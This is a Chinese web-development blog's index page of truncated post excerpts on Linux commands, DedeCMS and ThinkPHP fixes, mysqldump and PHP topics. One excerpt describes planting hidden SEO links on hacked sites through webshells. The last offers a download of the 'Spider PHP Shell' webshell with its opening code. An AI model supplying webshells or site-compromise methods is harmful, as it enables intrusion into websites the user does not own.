• Linux常用命令大全

    系统信息 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性 hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 cat /proc/cpuinfo 显示CPU info的信息 cat /proc/interrupts 显示中断 cat /proc/meminfo 校验内存使用 cat /proc/...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年12月18日 | 分类:Linux | 阅读:1,412次 |
  • dede后台上传图片错误"缺少图像源文件地址"

    今天发现dedecms中会员的编辑无法上传图片,直是晕到了。图片上传失败,并无像正常上传图片后提交按钮跳转到相应的图像属性界面上,仅在当前窗口上弹出一个滚动条,上面的滚动条里面提示为“提示:需输入后台管理目录才能登陆”,但因滚动条高度受限制了所以我们看不到提示。想要查看具体的提升信息的话,请点击向下的滚动条一直往下,即可出现文字提示。 现在知道具体原因后...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年11月12日 | 分类:DedeCMS技巧 | 阅读:2,973次 |
  • MySQL的mysqldump工具的基本用法

    导出要用到MySQL的mysqldump工具,基本用法是: shell> mysqldump [OPTIONS] database [tables] 如果你不给定任何表,整个数据库将被导出。 通过执行mysqldump --help,你能得到你mysqldump的版本支持的选项表。 注意,如果你运行mysqldump没有--quick或--opt选项,mysqldump将在导出结果前装载整个结果集到内存中,如果你正在导出一个大的数据库,这将可能是一个问题。 mys...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年10月13日 | 分类:Mysql | 阅读:1,674次 |
  • Thinkphp之Access denied for user 'root'@'localhost' (using password: YES)

    数据库配置文件(/public/db.global.php)已经修改,前台功能也完全正常,但访问后台时却出现类似下面的问题。hinkphp数据库连接错误 系统发生错误 [ 错误信息 ] Access denied for user ‘root’@'localhost’ (using password: YES) 原因是系统是基于thinkphp开发框架开发的网站程序。 thinkphp的数据库连接文件是通过调用方式调用方唯本身的数据库配置文件。 但是在利用thinkp...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年10月13日 | 分类:Thinkphp | 阅读:3,225次 |
  • dede 图集上传图片时候302提示的解决办法

    解决办法是: 在include/userlogin.class.php文件中的第二行session_start();前加上 if (isset($_POST["PHPSESSID"])) { session_id($_POST["PHPSESSID"]); } else if (isset($_GET["PHPSESSID"])) { session_id($_GET["PHPSESSID"]); }
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年8月19日 | 分类:DedeCMS技巧 | 阅读:1,937次 |
  • PHP执行系统命令简介

    在PHP中调用外部命令,可以用如下三种方法来实现: 方法一:用PHP提供的专门函数(四个): PHP提供4个专门的执行外部命令的函数:exec(), system(), passthru(), shell_exec() 1)exec() 原型: string exec ( string $command [, array &$output [, int &$return_var ]] ) 说明: exec执行系统外部命令时不会输出结果,而是返回结果的最后一行。如果想得到结果,可以使用第...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年8月19日 | 分类:PHP | 阅读:1,526次 |
  • Linux网络配置命令

    Linux 系统中最常用的网络配置命令包括ifconfig、 route ,其中ifconfig 用来查看和配置网络接口(通常是网卡)信息,包括网络接口设备的IP 地址、掩码等;route 用来管理Linux 系统内核中的路由表,它最大的用途就是用来设定静态的路由表项,通常是在系统用ifconfig 配置网络接口后,用它来设定主机或者一网段的IP 地址应该通过什么接口发送等。 ifconfig ifconfig 的语法...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年7月26日 | 分类:Linux | 阅读:1,587次 |
  • php面试题及答案

    基础题: 1.表单中 get与post提交方法的区别? 答:get是发送请求HTTP协议通过url参数传递进行接收,而post是实体数据,可以通过表单提交大量信息. 2.session与cookie的区别? 答:session:储存用户访问的全局唯一变量,存储在服务器上的php指定的目录中的(session_dir)的位置进行的存放 cookie:用来存储连续訪問一个頁面时所使用,是存储在客户端,对于Cookie来说是存储在用户WIN...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年7月01日 | 分类:PHP | 阅读:1,732次 |
  • dede精仿爱游网

    友情提示:此附件只是供模板展示用,带织梦整站程序,价格:600元/套 模板+整站源程序,有购买者请加本人QQ:136882447,QQ验证身证密码是:www.wmphp.com 网站特色: 1、采用PHP+mysql架构,全站生成静态页,百度、GOOGLE搜索引擎SEO优化效果超好 2、精仿爱游网,网站地址:http://www.0471y.com,构建大型门户旅游网站的首选 3、旅游线路模块支持按行程发布线路,支持发...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年5月24日 | 分类:DedeCMS技巧 | 阅读:5,243次 |
  • 针对DEDECMS 挂黑链的隐藏方法

    黑链是SEO手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的WEBSHELL,进而在被黑网站上链接自己的网站,其性质与明链一致,都是属于为高效率提升排名,而使用的作弊手法。 挂黑链   扫描服务器的弱口令、漏洞,然后黑掉网站,把链接挂进去。这是不合...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年5月23日 | 分类:DedeCMS技巧 | 阅读:2,670次 |
  • Spider PHP Shell(SPS-3.0)源代码(已去后门版)

    Spider PHP Shell (SPS-3.0) 源代码(已去后门版),大家可以放心使用,对于网站维护是非常必要的。 WebShell下载地址:http://blog.wmphp.com/Spider.rar <?php $password = "wmphp.com";//设置密码 error_reporting(E_ERROR); header("content-Type: text/html; charset=gb2312"); set_time_limit(0); function Root_GP(&$array) { while(list($key,$var) = each($...
    作者:admin | 发布:
    Warning: Use of undefined constant Y年n月d日 - assumed 'Y年n月d日' (this will throw an Error in a future version of PHP) in /www/wwwroot/blog.wmphp.com/wp-content/themes/wmphp/index.php on line 19
    2012年5月23日 | 分类:PHP | 阅读:16,828次 |